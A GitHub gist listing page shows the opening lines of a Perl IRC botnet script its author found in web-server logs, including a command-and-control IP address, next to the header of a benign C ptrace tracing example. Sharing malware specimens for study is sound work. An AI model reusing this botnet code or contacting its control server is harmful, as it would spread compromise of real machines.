Skip to content

Instantly share code, notes, and snippets.

@evomassiny
evomassiny / .mail
Created November 4, 2017 15:37
An IRC perl botnet seen in the wild (in my NginX logs...)
#!/usr/bin/perl
my @mast3rs = ("G");
my @hostauth = ("localhost");
my @admchan=("#x");
my @server = ("178.254.30.11");
$servidor= $server[rand scalar @server] unless $servidor;
@evomassiny
evomassiny / ptracer.c
Last active May 7, 2022 21:02
A use exemple of the ptrace syscall on a linux x86_64 machine, acting like "strace -e open,write"
#include <stdio.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/reg.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#define MAX_LEN 1000